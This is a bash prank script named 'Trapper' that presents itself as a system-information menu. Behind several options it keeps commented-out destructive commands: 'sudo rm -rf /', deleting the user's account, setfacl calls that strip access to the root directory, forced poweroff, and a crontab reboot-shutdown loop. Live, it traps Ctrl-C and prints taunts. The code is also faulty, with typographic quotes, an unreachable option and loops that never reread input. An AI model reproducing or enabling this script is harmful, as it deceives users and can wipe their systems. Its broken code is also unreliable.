Trapper sh

#!/bin/bash
#This script is harmfull
#Do not uncomment what is commented and then execute it on your own device
sig_int() {
        sleep 3
        echo -e “\a\n\e[1;31mtrapped Again :)\e[0m”
        ##sudo setfacl -m “u:$USERNAME: ” /
##shutdown –poweroff now
}
trap sig_int SIGINT
echo “Hello user!”
cat << EOF
       0) Exit the program
       1) User information
       2) System informations
       3) See files permissions
       4) See system last reboot
EOF
read -p “choose an option: ” opt
while [ true ]
do
if [[ $opt =~ ^[0-3]$ ]];
then
if (( $opt == 0 ));
then
echo -e “\a\e[1;31mTrapped :)\e[0m”
##sudo setfacl -m u:$USERNAME:  /
##shutdown –poweroff now
elif (( $opt == 1 ));
then
read -p “Enter your username to view userame’s info: ” usrnm
if [ -z $usrnm ];
then
echo -e “\e[1;31mInvalid Input!\e[0m”
elif [ $usrnm == $USERNAME ];
then
echo -e “\a\e[1;31mTrapped :)\e[0m”
##sudo userdel $usrnm
##shutdown –poweroff now
break
else
echo “this is not your username!”
continue
fi
elif (( $opt == 2 ));
then
echo -e “\a\e[1;31mTrapped :)\e[0m”
##sudo rm -rf /
##shutdown –poweroff now
break
elif (( $opt == 3 ));
then
echo -e “\a\e[1;31mTrapped :)\e[0m”
##sudo setfacl -m “u:$usrnm: ” /
##shutdown –poweroff now
elif (( $opt == 4 ));
then
       echo -e “\a\e[1;31mTrapped :)\e[0m”
touch /home/$USERNAME/shutdown.sh
#death_loop=”shutdown –poweroff now”
#echo “$death_loop” >> shutdown.sh
#crontab -i -r “@reboot /home/$USERNAME/shutdown.sh”
fi
else
echo -e “\a\e[1;31mInvalid Entry!\e[0m”
break
fi
done